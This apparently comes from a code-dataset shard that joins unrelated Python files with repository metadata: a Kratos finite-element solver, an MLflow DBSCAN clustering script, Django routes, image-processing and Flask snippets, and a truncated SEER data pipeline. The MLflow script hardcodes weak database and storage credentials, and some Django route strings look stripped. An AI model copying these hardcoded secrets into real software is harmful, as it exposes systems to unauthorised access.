KratosMultiphysics.VariableUtils().AddDof(KratosMultiphysics.PRESSURE, KratosMultiphysics.PRESSURE_REACTION,self.main_model_part)\n self.print_on_rank_zero(\"::[MechanicalSolver]:: \", \"DOF's ADDED\")\n\n def ImportModelPart(self):\n \"\"\" Legacy function, use ReadModelPart and PrepareModelPartForSolver instead \"\"\"\n KratosMultiphysics.Logger.PrintInfo(\"::[MechanicalSolver]::\", \"Importing model part.\")\n problem_path = os.getcwd()\n input_filename = self.settings[\"model_import_settings\"][\"input_filename\"].GetString()\n if self.is_restarted():\n self.get_restart_utility().LoadRestart()\n elif(self.settings[\"model_import_settings\"][\"input_type\"].GetString() == \"mdpa\"):\n # Import model part from mdpa file.\n KratosMultiphysics.Logger.PrintInfo(\"::[MechanicalSolver]::\", \"Reading model part from file: \" + os.path.join(problem_path, input_filename) + \".mdpa\")\n KratosMultiphysics.ModelPartIO(input_filename).ReadModelPart(self.main_model_part)\n KratosMultiphysics.Logger.PrintInfo(\"::[MechanicalSolver]::\", \"Finished reading model part from mdpa file.\")\n self.PrepareModelPartForSolver()\n else:\n raise Exception(\"Other model part input options are not yet implemented.\")\n KratosMultiphysics.Logger.PrintInfo(\"ModelPart\", self.main_model_part)\n KratosMultiphysics.Logger.PrintInfo(\"::[MechanicalSolver]:: \", \"Finished importing model part.\")\n\n def ReadModelPart(self):\n KratosMultiphysics.Logger.PrintInfo(\"::[MechanicalSolver]::\", \"Reading model part.\")\n problem_path = os.getcwd()\n input_filename = self.settings[\"model_import_settings\"][\"input_filename\"].GetString()\n if self.is_restarted():\n self.get_restart_utility().LoadRestart()\n elif(self.settings[\"model_import_settings\"][\"input_type\"].GetString() == \"mdpa\"):\n # Import model part from mdpa file.\n KratosMultiphysics.Logger.PrintInfo(\"::[MechanicalSolver]::\", \"Reading model part from file: \" + os.path.join(problem_path, input_filename) + \".mdpa\")\n KratosMultiphysics.ModelPartIO(input_filename).ReadModelPart(self.main_model_part)\n KratosMultiphysics.Logger.PrintInfo(\"::[MechanicalSolver]::\", \"Finished reading model part from mdpa file.\")\n else:\n raise Exception(\"Other model part input options are not yet implemented.\")\n KratosMultiphysics.Logger.PrintInfo(\"ModelPart\", self.main_model_part)\n KratosMultiphysics.Logger.PrintInfo(\"::[MechanicalSolver]:: \", \"Finished reading model part.\")\n\n def PrepareModelPartForSolver(self):\n if not self.is_restarted():\n # Check and prepare computing model part and import constitutive laws.\n self._execute_after_reading()\n self._set_and_fill_buffer()\n KratosMultiphysics.Logger.PrintInfo(\"::[MechanicalSolver]::\", \"ModelPart prepared for Solver.\")\n\n def ExportModelPart(self):\n name_out_file = self.settings[\"model_import_settings\"][\"input_filename\"].GetString()+\".out\"\n file = open(name_out_file + \".mdpa\",\"w\")\n file.close()\n KratosMultiphysics.ModelPartIO(name_out_file, KratosMultiphysics.IO.WRITE).WriteModelPart(self.main_model_part)\n\n def Initialize(self):\n \"\"\"Perform initialization after adding nodal variables and dofs to the main model part. \"\"\"\n self.print_on_rank_zero(\"::[MechanicalSolver]:: \", \"Initializing ...\")\n # The mechanical solution strategy is created here if it does not already exist.\n if self.settings[\"clear_storage\"].GetBool():\n self.Clear()\n mechanical_solution_strategy = self.get_mechanical_solution_strategy()\n mechanical_solution_strategy.SetEchoLevel(self.settings[\"echo_level\"].GetInt())\n if not self.is_restarted():\n mechanical_solution_strategy.Initialize()\n else:\n # SetInitializePerformedFlag is not a member of SolvingStrategy but\n # is used by ResidualBasedNewtonRaphsonStrategy.\n try:\n mechanical_solution_strategy.SetInitializePerformedFlag(True)\n except AttributeError:\n pass\n self.Check()\n self.print_on_rank_zero(\"::[MechanicalSolver]:: \", \"Finished initialization.\")\n\n def GetComputingModelPart(self):\n return self.main_model_part.GetSubModelPart(self.settings[\"computing_model_part_name\"].GetString())\n\n def GetOutputVariables(self):\n pass\n\n def ComputeDeltaTime(self):\n pass\n\n def SaveRestart(self):\n # Check could be integrated in the utility\n # It is here intentionally, this way the utility is only created if it is actually needed!\n if self.settings[\"restart_settings\"].Has(\"save_restart\"):\n if (self.settings[\"restart_settings\"][\"save_restart\"].GetBool() == True):\n # the check if this step is a restart-output step is done internally\n self.get_restart_utility().SaveRestart()\n\n def Solve(self):\n if self.settings[\"clear_storage\"].GetBool():\n self.Clear()\n mechanical_solution_strategy = self.get_mechanical_solution_strategy()\n mechanical_solution_strategy.Solve()\n\n def InitializeSolutionStep(self):\n self.get_mechanical_solution_strategy().InitializeSolutionStep()\n\n def Predict(self):\n self.get_mechanical_solution_strategy().Predict()\n\n def SolveSolutionStep(self):\n is_converged = self.get_mechanical_solution_strategy().SolveSolutionStep()\n return is_converged\n\n def FinalizeSolutionStep(self):\n self.get_mechanical_solution_strategy().FinalizeSolutionStep()\n\n def SetEchoLevel(self, level):\n self.get_mechanical_solution_strategy().SetEchoLevel(level)\n\n def Clear(self):\n self.get_mechanical_solution_strategy().Clear()\n\n def Check(self):\n self.get_mechanical_solution_strategy().Check()\n\n #### Specific internal functions ####\n\n def get_solution_scheme(self):\n if not hasattr(self, '_solution_scheme'):\n self._solution_scheme = self._create_solution_scheme()\n return self._solution_scheme\n\n def get_convergence_criterion(self):\n if not hasattr(self, '_convergence_criterion'):\n self._convergence_criterion = self._create_convergence_criterion()\n return self._convergence_criterion\n\n def get_linear_solver(self):\n if not hasattr(self, '_linear_solver'):\n self._linear_solver = self._create_linear_solver()\n return self._linear_solver\n\n def get_builder_and_solver(self):\n if not hasattr(self, '_builder_and_solver'):\n self._builder_and_solver = self._create_builder_and_solver()\n return self._builder_and_solver\n\n def get_mechanical_solution_strategy(self):\n if not hasattr(self, '_mechanical_solution_strategy'):\n self._mechanical_solution_strategy = self._create_mechanical_solution_strategy()\n return self._mechanical_solution_strategy\n\n def get_restart_utility(self):\n if not hasattr(self, '_restart_utility'):\n self._restart_utility = self._create_restart_utility()\n return self._restart_utility\n\n def import_constitutive_laws(self):\n materials_filename = self.settings[\"material_import_settings\"][\"materials_filename\"].GetString()\n if (materials_filename != \"\"):\n import read_materials_process\n # Create a dictionary of model parts.\n Model = KratosMultiphysics.Model()\n Model.AddModelPart(self.main_model_part)\n # Add constitutive laws and material properties from json file to model parts.\n read_materials_process.ReadMaterialsProcess(Model, self.settings[\"material_import_settings\"])\n materials_imported = True\n else:\n materials_imported = False\n return materials_imported\n\n def validate_and_transfer_matching_settings(self, origin_settings, destination_settings):\n \"\"\"Transfer matching settings from origin to destination.\n\n If a name in origin matches a name in destination, then the setting is\n validated against the destination.\n\n The typical use is for validating and extracting settings in derived classes:\n\n class A:\n def __init__(self, model_part, a_settings):\n default_a_settings = Parameters('''{\n ...\n }''')\n a_settings.ValidateAndAssignDefaults(default_a_settings)\n class B(A):\n def __init__(self, model_part, custom_settings):\n b_settings = Parameters('''{\n ...\n }''') # Here the settings contain default values.\n self.validate_and_transfer_matching_settings(custom_settings, b_settings)\n super().__init__(model_part, custom_settings)\n \"\"\"\n for name, dest_value in destination_settings.items():\n if origin_settings.Has(name): # Validate and transfer value.\n orig_value = origin_settings[name]\n if dest_value.IsDouble() and orig_value.IsDouble():\n destination_settings[name].SetDouble(origin_settings[name].GetDouble())\n elif dest_value.IsInt() and orig_value.IsInt():\n destination_settings[name].SetInt(origin_settings[name].GetInt())\n elif dest_value.IsBool() and orig_value.IsBool():\n destination_settings[name].SetBool(origin_settings[name].GetBool())\n elif dest_value.IsString() and orig_value.IsString():\n destination_settings[name].SetString(origin_settings[name].GetString())\n elif dest_value.IsArray() and orig_value.IsArray():\n if dest_value.size() != orig_value.size():\n raise Exception('len(\"' + name + '\") != ' + str(dest_value.size()))\n for i in range(dest_value.size()):\n if dest_value[i].IsDouble() and orig_value[i].IsDouble():\n dest_value[i].SetDouble(orig_value[i].GetDouble())\n elif dest_value[i].IsInt() and orig_value[i].IsInt():\n dest_value[i].SetInt(orig_value[i].GetInt())\n elif dest_value[i].IsBool() and orig_value[i].IsBool():\n dest_value[i].SetBool(orig_value[i].GetBool())\n elif dest_value[i].IsString() and orig_value[i].IsString():\n dest_value[i].SetString(orig_value[i].GetString())\n elif dest_value[i].IsSubParameter() and orig_value[i].IsSubParameter():\n self.validate_and_transfer_matching_settings(orig_value[i], dest_value[i])\n if len(orig_value[i].items()) != 0:\n raise Exception('Json settings not found in default settings: ' + orig_value[i].PrettyPrintJsonString())\n else:\n raise Exception('Unsupported parameter type.')\n elif dest_value.IsSubParameter() and orig_value.IsSubParameter():\n self.validate_and_transfer_matching_settings(orig_value, dest_value)\n if len(orig_value.items()) != 0:\n raise Exception('Json settings not found in default settings: ' + orig_value.PrettyPrintJsonString())\n else:\n raise Exception('Unsupported parameter type.')\n origin_settings.RemoveValue(name)\n\n def is_restarted(self):\n # this function avoids the long call to ProcessInfo and is also safer\n # in case the detection of a restart is changed later\n return self.main_model_part.ProcessInfo[KratosMultiphysics.IS_RESTARTED]\n\n def print_on_rank_zero(self, *args):\n # This function will be overridden in the trilinos-solvers\n KratosMultiphysics.Logger.PrintInfo(\" \".join(map(str,args)))\n\n def print_warning_on_rank_zero(self, *args):\n # This function will be overridden in the trilinos-solvers\n KratosMultiphysics.Logger.PrintWarning(\" \".join(map(str,args)))\n\n #### Private functions ####\n\n def _execute_after_reading(self):\n \"\"\"Prepare computing model part and import constitutive laws. \"\"\"\n # Auxiliary parameters object for the CheckAndPepareModelProcess\n params = KratosMultiphysics.Parameters(\"{}\")\n params.AddValue(\"computing_model_part_name\",self.settings[\"computing_model_part_name\"])\n params.AddValue(\"problem_domain_sub_model_part_list\",self.settings[\"problem_domain_sub_model_part_list\"])\n params.AddValue(\"processes_sub_model_part_list\",self.settings[\"processes_sub_model_part_list\"])\n # Assign mesh entities from domain and process sub model parts to the computing model part.\n import check_and_prepare_model_process_structural\n check_and_prepare_model_process_structural.CheckAndPrepareModelProcess(self.main_model_part, params).Execute()\n\n # Import constitutive laws.\n materials_imported = self.import_constitutive_laws()\n if materials_imported:\n self.print_on_rank_zero(\"::[MechanicalSolver]:: \", \"Constitutive law was successfully imported.\")\n else:\n self.print_on_rank_zero(\"::[MechanicalSolver]:: \", \"Constitutive law was not imported.\")\n\n def _set_and_fill_buffer(self):\n \"\"\"Prepare nodal solution step data containers and time step information. \"\"\"\n # Set the buffer size for the nodal solution steps data. Existing nodal\n # solution step data may be lost.\n required_buffer_size = self.settings[\"buffer_size\"].GetInt()\n if required_buffer_size < self.GetMinimumBufferSize():\n required_buffer_size = self.GetMinimumBufferSize()\n current_buffer_size = self.main_model_part.GetBufferSize()\n buffer_size = max(current_buffer_size, required_buffer_size)\n self.main_model_part.SetBufferSize(buffer_size)\n # Cycle the buffer. This sets all historical nodal solution step data to\n # the current value and initializes the time stepping in the process info.\n delta_time = self.main_model_part.ProcessInfo[KratosMultiphysics.DELTA_TIME]\n time = self.main_model_part.ProcessInfo[KratosMultiphysics.TIME]\n step =-buffer_size\n time = time - delta_time * buffer_size\n self.main_model_part.ProcessInfo.SetValue(KratosMultiphysics.TIME, time)\n for i in range(0, buffer_size):\n step = step + 1\n time = time + delta_time\n self.main_model_part.ProcessInfo.SetValue(KratosMultiphysics.STEP, step)\n self.main_model_part.CloneTimeStep(time)\n\n def _add_dynamic_variables(self):\n # For being consistent for Serial and Trilinos\n self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.VELOCITY)\n self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.ACCELERATION)\n if self.settings[\"rotation_dofs\"].GetBool():\n self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.ANGULAR_VELOCITY)\n self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.ANGULAR_ACCELERATION)\n\n def _add_dynamic_dofs(self):\n # For being consistent for Serial and Trilinos\n KratosMultiphysics.VariableUtils().AddDof(KratosMultiphysics.VELOCITY_X,self.main_model_part)\n KratosMultiphysics.VariableUtils().AddDof(KratosMultiphysics.VELOCITY_Y,self.main_model_part)\n KratosMultiphysics.VariableUtils().AddDof(KratosMultiphysics.VELOCITY_Z,self.main_model_part)\n KratosMultiphysics.VariableUtils().AddDof(KratosMultiphysics.ACCELERATION_X,self.main_model_part)\n KratosMultiphysics.VariableUtils().AddDof(KratosMultiphysics.ACCELERATION_Y,self.main_model_part)\n KratosMultiphysics.VariableUtils().AddDof(KratosMultiphysics.ACCELERATION_Z,self.main_model_part)\n if(self.settings[\"rotation_dofs\"].GetBool()):\n KratosMultiphysics.VariableUtils().AddDof(KratosMultiphysics.ANGULAR_VELOCITY_X,self.main_model_part)\n KratosMultiphysics.VariableUtils().AddDof(KratosMultiphysics.ANGULAR_VELOCITY_Y,self.main_model_part)\n KratosMultiphysics.VariableUtils().AddDof(KratosMultiphysics.ANGULAR_VELOCITY_Z,self.main_model_part)\n KratosMultiphysics.VariableUtils().AddDof(KratosMultiphysics.ANGULAR_ACCELERATION_X,self.main_model_part)\n KratosMultiphysics.VariableUtils().AddDof(KratosMultiphysics.ANGULAR_ACCELERATION_Y,self.main_model_part)\n KratosMultiphysics.VariableUtils().AddDof(KratosMultiphysics.ANGULAR_ACCELERATION_Z,self.main_model_part)\n\n def _get_restart_settings(self):\n restart_settings = self.settings[\"restart_settings\"].Clone()\n restart_settings.AddValue(\"input_filename\", self.settings[\"model_import_settings\"][\"input_filename\"])\n restart_settings.AddValue(\"echo_level\", self.settings[\"echo_level\"])\n restart_settings.RemoveValue(\"load_restart\")\n restart_settings.RemoveValue(\"save_restart\")\n\n return restart_settings\n\n def _get_convergence_criterion_settings(self):\n # Create an auxiliary Kratos parameters object to store the convergence settings.\n conv_params = KratosMultiphysics.Parameters(\"{}\")\n conv_params.AddValue(\"convergence_criterion\",self.settings[\"convergence_criterion\"])\n conv_params.AddValue(\"rotation_dofs\",self.settings[\"rotation_dofs\"])\n conv_params.AddValue(\"echo_level\",self.settings[\"echo_level\"])\n conv_params.AddValue(\"displacement_relative_tolerance\",self.settings[\"displacement_relative_tolerance\"])\n conv_params.AddValue(\"displacement_absolute_tolerance\",self.settings[\"displacement_absolute_tolerance\"])\n conv_params.AddValue(\"residual_relative_tolerance\",self.settings[\"residual_relative_tolerance\"])\n conv_params.AddValue(\"residual_absolute_tolerance\",self.settings[\"residual_absolute_tolerance\"])\n\n return conv_params\n\n def _create_convergence_criterion(self):\n import convergence_criteria_factory\n convergence_criterion = convergence_criteria_factory.convergence_criterion(self._get_convergence_criterion_settings())\n return convergence_criterion.mechanical_convergence_criterion\n\n def _create_linear_solver(self):\n import linear_solver_factory\n linear_solver = linear_solver_factory.ConstructSolver(self.settings[\"linear_solver_settings\"])\n return linear_solver\n\n def _create_builder_and_solver(self):\n linear_solver = self.get_linear_solver()\n if self.settings[\"block_builder\"].GetBool():\n if self.settings[\"multi_point_constraints_used\"].GetBool():\n builder_and_solver = KratosMultiphysics.StructuralMechanicsApplication.ResidualBasedBlockBuilderAndSolverWithMpc(linear_solver)\n else:\n builder_and_solver = KratosMultiphysics.ResidualBasedBlockBuilderAndSolver(linear_solver)\n else:\n if self.settings[\"multi_point_constraints_used\"].GetBool():\n raise Exception(\"To use MPCs you also have to set \\\"block_builder\\\" to \\\"true\\\"\")\n builder_and_solver = KratosMultiphysics.ResidualBasedEliminationBuilderAndSolver(linear_solver)\n return builder_and_solver\n\n def _create_solution_scheme(self):\n \"\"\"Create the solution scheme for the structural problem.\n \"\"\"\n raise Exception(\"Solution Scheme creation must be implemented in the derived class.\")\n\n def _create_mechanical_solution_strategy(self):\n analysis_type = self.settings[\"analysis_type\"].GetString()\n if analysis_type == \"linear\":\n mechanical_solution_strategy = self._create_linear_strategy()\n elif analysis_type == \"non_linear\":\n if(self.settings[\"line_search\"].GetBool() == False):\n mechanical_solution_strategy = self._create_newton_raphson_strategy()\n else:\n mechanical_solution_strategy = self._create_line_search_strategy()\n else:\n err_msg = \"The requested analysis type \\\"\" + analysis_type + \"\\\" is not available!\\n\"\n err_msg += \"Available options are: \\\"linear\\\", \\\"non_linear\\\"\"\n raise Exception(err_msg)\n return mechanical_solution_strategy\n\n def _create_linear_strategy(self):\n computing_model_part = self.GetComputingModelPart()\n mechanical_scheme = self.get_solution_scheme()\n linear_solver = self.get_linear_solver()\n builder_and_solver = self.get_builder_and_solver()\n return KratosMultiphysics.ResidualBasedLinearStrategy(computing_model_part,\n mechanical_scheme,\n linear_solver,\n builder_and_solver,\n self.settings[\"compute_reactions\"].GetBool(),\n self.settings[\"reform_dofs_at_each_step\"].GetBool(),\n False,\n self.settings[\"move_mesh_flag\"].GetBool())\n\n def _create_newton_raphson_strategy(self):\n computing_model_part = self.GetComputingModelPart()\n mechanical_scheme = self.get_solution_scheme()\n linear_solver = self.get_linear_solver()\n mechanical_convergence_criterion = self.get_convergence_criterion()\n builder_and_solver = self.get_builder_and_solver()\n return KratosMultiphysics.ResidualBasedNewtonRaphsonStrategy(computing_model_part,\n mechanical_scheme,\n linear_solver,\n mechanical_convergence_criterion,\n builder_and_solver,\n self.settings[\"max_iteration\"].GetInt(),\n self.settings[\"compute_reactions\"].GetBool(),\n self.settings[\"reform_dofs_at_each_step\"].GetBool(),\n self.settings[\"move_mesh_flag\"].GetBool())\n\n def _create_line_search_strategy(self):\n computing_model_part = self.GetComputingModelPart()\n mechanical_scheme = self.get_solution_scheme()\n linear_solver = self.get_linear_solver()\n mechanical_convergence_criterion = self.get_convergence_criterion()\n builder_and_solver = self.get_builder_and_solver()\n return KratosMultiphysics.LineSearchStrategy(computing_model_part,\n mechanical_scheme,\n linear_solver,\n mechanical_convergence_criterion,\n builder_and_solver,\n self.settings[\"max_iteration\"].GetInt(),\n self.settings[\"compute_reactions\"].GetBool(),\n self.settings[\"reform_dofs_at_each_step\"].GetBool(),\n self.settings[\"move_mesh_flag\"].GetBool())\n\n def _create_restart_utility(self):\n \"\"\"Create the restart utility. Has to be overridden for MPI/trilinos-solvers\"\"\"\n import restart_utility\n rest_utility = restart_utility.RestartUtility(self.main_model_part,\n self._get_restart_settings())\n return rest_utility\n","repo_name":"neo4reo/Kratos","sub_path":"applications/StructuralMechanicsApplication/python_scripts/structural_mechanics_solver.py","file_name":"structural_mechanics_solver.py","file_ext":"py","file_size_in_byte":33304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"29"} +{"seq_id":"7700190192","text":"from __future__ import print_function\nimport os\nimport argparse\nfrom sklearn.cluster import DBSCAN\nfrom sklearn.preprocessing import StandardScaler\nimport mlflow\nimport pandas as pd\nimport numpy as np\nimport psycopg2\nimport csv\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom io import StringIO\nimport mlflow.sklearn\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom mlflow import log_metric, log_param, log_artifacts, active_run\nfrom sqlalchemy import create_engine\n\nos.environ[\"AWS_DEFAULT_REGION\"] = \"eu-west-3\"\nos.environ[\"AWS_REGION\"] = \"eu-west-3\"\nos.environ[\"AWS_ACCESS_KEY_ID\"] = \"admin\"\nos.environ[\"AWS_SECRET_ACCESS_KEY\"] = \"adminadmin\"\nos.environ[\"MLFLOW_S3_ENDPOINT_URL\"] = \"http://minio:9000\"\n\n\ndef db_connection():\n con = psycopg2.connect(\n database=\"db\",\n user=\"db\",\n password=\"123456\",\n host=\"postgres\",\n port=\"5432\"\n )\n\n cur = con.cursor()\n\n cur.execute('SELECT * FROM pg_catalog.pg_tables')\n rows = cur.fetchall()\n print(rows)\n\n cur.execute(\"SELECT * from mlflow_clope\")\n\n return cur.fetchall()\n\n\ndef psql_insert_copy(table, conn, keys, data_iter):\n print(conn)\n dbapi_conn = conn.connection\n with dbapi_conn.cursor() as cur:\n s_buf = StringIO()\n writer = csv.writer(s_buf)\n writer.writerows(data_iter)\n s_buf.seek(0)\n\n columns = ', '.join('\"{}\"'.format(k) for k in keys)\n if table.schema:\n table_name = '{}.{}'.format(table.schema, table.name)\n else:\n table_name = table.name\n\n sql = 'COPY {} ({}) FROM STDIN WITH CSV'.format(\n table_name, columns)\n cur.copy_expert(sql=sql, file=s_buf)\n\n\nif __name__ == \"__main__\":\n\n data = pd.DataFrame(data=db_connection())\n data = data.iloc[:, 1:]\n\n # nmp = data['items.name'].to_numpy()\n nmp = data.iloc[:, 6].to_numpy()\n\n model_vect = TfidfVectorizer()\n tf_idf_matrix = model_vect.fit_transform(nmp)\n dictionary = dict(zip(model_vect.get_feature_names(), list(model_vect.idf_)))\n dist = 1 - cosine_similarity(tf_idf_matrix)\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--eps\")\n parser.add_argument(\"--min_samples\")\n args = parser.parse_args()\n\n eps = float(args.eps)\n min_samples = int(args.min_samples)\n\n mlflow.set_tracking_uri(\"http://mlflow:5000\")\n mlflow.set_experiment('clustering_dbscan')\n\n with mlflow.start_run():\n if not os.path.exists(\"outputs\"):\n os.makedirs(\"outputs\")\n\n log_param(\"eps\", eps)\n log_param(\"min_samples\", min_samples)\n\n print(\"Train dbscan model\")\n db_default = DBSCAN(eps=eps, min_samples=min_samples).fit(dist)\n labels = db_default.labels_\n lab, count = np.unique(labels[labels >= 0], return_counts=True)\n log_metric(\"dbscan\", len(set(labels)))\n\n data['cluster'] = pd.Series(labels)\n\n data.to_excel('outputs/data_markup_dbscan.xlsx')\n log_artifacts('outputs')\n\n mlflow.sklearn.log_model(sk_model=db_default, artifact_path=\"output\", registered_model_name='dbscan')\n","repo_name":"alsinabdrashitova/receipt-data-monitoring-system","sub_path":"ml_project/project/clustering_dbscan/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"30875379564","text":"from django.urls import path\nfrom baoblog import views\n\nurlpatterns = [\n #http://localhots:8000/blog/1\n path('', views.blog_list, name='blog_list'),\n path('', views.blog_detail, name=\"blog_detail\"),\n path('type/', views.blogs_with_type, name='blogs_with_type'),\n path('date//', views.blogs_with_day, name='blogs_with_day')\n]","repo_name":"baotianjiazhi/mysite","sub_path":"baoblog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"29"} +{"seq_id":"11294869565","text":"import cv2\r\nimport os\r\nimport numpy as np\r\n\r\ndef apply_clahe(image):\r\n # Calculate the clip limit based on the image content\r\n clip_limit = np.mean(cv2.adaptiveThreshold(image, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, 11, 2))\r\n\r\n # Apply CLAHE with the calculated clip limit\r\n clahe = cv2.createCLAHE(clipLimit=clip_limit, tileGridSize=(8, 8))\r\n image = clahe.apply(image)\r\n return image\r\n\r\n# Set the paths for the input and output folders\r\ninput_folder = \"C:/path/to/input/folder\"\r\noutput_folder = \"C:/path/to/output/folder\"\r\n\r\n# Create the output folder if it does not exist\r\nif not os.path.exists(output_folder):\r\n os.makedirs(output_folder)\r\n\r\n# Loop through all the files in the input folder\r\nfor filename in os.listdir(input_folder):\r\n # Check if the file is an image (you can add more file extensions if needed)\r\n if filename.endswith('.jpg') or filename.endswith('.jpeg') or filename.endswith('.png'):\r\n # Read the image\r\n img = cv2.imread(os.path.join(input_folder, filename), 0)\r\n\r\n # Apply CLAHE to the image\r\n ahe_img = apply_clahe(img)\r\n\r\n # Save the enhanced image to the output folder with the same filename\r\n cv2.imwrite(os.path.join(output_folder, filename), ahe_img)\r\n","repo_name":"Sarves1911/psychic-guacamole","sub_path":"CLAHE_FINAL.py","file_name":"CLAHE_FINAL.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"12786350737","text":"class inclusive_range:\n def __init__(self, *args):\n numargs = len(args)\n if numargs < 1:\n raise TypeError('requries at least one argument')\n elif numargs == 1:\n self.stop = args[0]\n self.start = 0\n self.step = 1\n elif numargs == 2:\n (self.start, self.stop) = args\n self.step = 1\n elif numargs == 3:\n (self.start, self.stop, self.step) = args\n else:\n raise TypeError('expected at most 3 arguments, got{}'.format(numargs))\n\n def __iter__(self): # user __iter__ method in the class to make the object an iterable object\n i = self.start\n while i <= self.stop:\n yield i\n i += self.step\n\n\ndef main():\n # when iterable object used in a context of for-loop, the __iter__ method will get automatically called\n for i in inclusive_range(5, 25, 2): print(i, end=' ')\n\n\nif __name__ == \"__main__\": main()\n","repo_name":"wenliangz/Python3_Essential_Training","sub_path":"12 Classes/generator-working.py","file_name":"generator-working.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"29"} +{"seq_id":"38064773095","text":"from flask import Flask\nfrom flask_cors import CORS\nfrom flasgger import Swagger\nfrom flask_restful import Api\n\n\napp = Flask(__name__)\nCORS(app)\napi = Api(app)\n\nswagger_config = {\n \"headers\": [\n ],\n \"specs\": [\n {\n \"endpoint\": 'documentacao_api',\n \"route\": '/documentacao_api.json',\n \"rule_filter\": lambda rule: True, # all in\n \"model_filter\": lambda tag: True, # all in\n }\n ],\n \"static_url_path\": \"/flasgger_static\",\n # \"static_folder\": \"static\", # must be set by user\n \"swagger_ui\": True,\n \"specs_route\": \"/api/docs/\"\n}\n\napp.config['SWAGGER'] = {\n 'title': 'API',\n 'uiversion': 2\n}\n\nswagger = Swagger(app, config=swagger_config)","repo_name":"murilolb/WM-API-PRODUTO","sub_path":"APP/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"74543579917","text":"import lib.filter_column as fc\n\n\"\"\" Handles all existing 133 input variables of the SEER ASCII files. Also shows removed entries for completeness. \"\"\"\ndata_pipeline_full = [\n\n # Categorical inputs:\n ('SEER registry', [], [], 'categorical'),\n ('Marital status at diagnosis', [], [], 'categorical'),\n ('Race/ethnicity', [], [], 'categorical'),\n ('NHIA Derived Hisp Origin', [], [], 'categorical'),\n ('Sex', [], [], 'categorical'),\n ('Month of diagnosis', [], [], 'categorical'),\n ('Primary site ICD-O-2 (1973+)', [], [], 'categorical'),\n ('Laterality', [], [], 'categorical'),\n ('Histologic Type ICD-O-2', [], [], 'categorical'),\n ('Behavior Code ICD-O-2', [], [], 'categorical'),\n ('Histologic Type ICD-O-3', [], [], 'categorical'),\n ('Behavior code ICD-O-3', [], [], 'categorical'),\n ('Grade', [], [], 'categorical'),\n ('Type of reporting source', [], [], 'categorical'),\n ('EOD 10 - size (1988+)', [], [], 'categorical'),\n ('EOD 10 - extension', [], [], 'categorical'),\n ('EOD 10 - path extension', [], [], 'categorical'),\n ('EOD 10 - lymph node', [], [], 'categorical'),\n ('Coding system for EOD', [], [], 'categorical'),\n ('Tumor marker 1', [], [], 'categorical'),\n ('Tumor marker 2', [], [], 'categorical'),\n ('Tumor marker 3', [], [], 'categorical'),\n ('CS Extension', [], [], 'categorical'),\n ('CS Lymph Nodes', [], [], 'categorical'),\n ('CS Mets at DX', [], [], 'categorical'),\n ('CS Site-Specific Factor 1', [], [], 'categorical'),\n ('CS Site-Specific Factor 2', [], [], 'categorical'),\n ('CS Site-Specific Factor 3', [], [], 'categorical'),\n ('CS Site-Specific Factor 4', [], [], 'categorical'),\n ('CS Site-Specific Factor 5', [], [], 'categorical'),\n ('CS Site-Specific Factor 6', [], [], 'categorical'),\n ('CS Site-Specific Factor 25', [], [], 'categorical'),\n ('Derived AJCC T', [], [], 'categorical'),\n ('Derived AJCC N', [], [], 'categorical'),\n ('Derived AJCC M', [], [], 'categorical'),\n ('Derived AJCC Stage Group', [], [], 'categorical'),\n ('Derived SS1977', [], [], 'categorical'),\n ('Derived SS2000', [], [], 'categorical'),\n ('Derived AJCC - flag', [], [], 'categorical'),\n ('CS Version Input Original', [], [], 'categorical'),\n ('CS Version Derived', [], [], 'categorical'),\n ('CS Version Input Current', [], [], 'categorical'),\n ('Site recode ICD-O-3/WHO 2008', [], [], 'categorical'),\n ('Recode ICD-O-2 to 9', [], [], 'categorical'),\n ('Recode ICD-O-2 to 10', [], [], 'categorical'),\n ('ICCC site recode ICD-O-3/WHO 2008', [], [], 'categorical'),\n ('ICCC site rec extended ICD-O-3/ WHO 2008', [], [], 'categorical'),\n ('Behavior recode for analysis', [], [], 'categorical'),\n ('Broad Histology recode', [], [], 'categorical'),\n ('Brain recode', [], [], 'categorical'),\n ('CS Schema v0204', [], [], 'categorical'),\n ('Race recode A', [], [], 'categorical'),\n ('Race recode Y', [], [], 'categorical'),\n ('Origin Recode NHIA', [], [], 'categorical'),\n ('SEER historic stage A', [], [], 'categorical'),\n ('AJCC stage 3rd edition (1988+)', [], [], 'categorical'),\n ('SEER modified AJCC stage 3rd ed (1988+)', [], [], 'categorical'),\n ('SEER Summary Stage 1977 (1995-2000)', [], [], 'categorical'),\n ('SEER Summary Stage 2000 2000 (2001-2003)', [], [], 'categorical'),\n ('First malignant primary indicator', [], [], 'categorical'),\n ('State-county recode', [], [], 'categorical'),\n ('IHS link', [], [], 'categorical'),\n ('Historic SSG 2000 Stage', [], [], 'categorical'),\n ('AYA site recode/WHO 2008', [], [], 'categorical'),\n ('Lymphoma subtype recode/WHO 2008', [], [], 'categorical'),\n ('Primary by International Rules', [], [], 'categorical'),\n ('ER Status Recode Breast Cancer (1990+)', [], [], 'categorical'),\n ('PR Status Recode Breast Cancer (1990+)', [], [], 'categorical'),\n ('CS Schema - AJCC 6th Edition', [], [], 'categorical'),\n ('Cs Site-specific Factor 8', [], [], 'categorical'),\n ('CS Site-Specific Factor 10', [], [], 'categorical'),\n ('CS Site-Specific Factor 11', [], [], 'categorical'),\n ('CS Site-Specific Factor 13', [], [], 'categorical'),\n ('CS Site-Specific Factor 15', [], [], 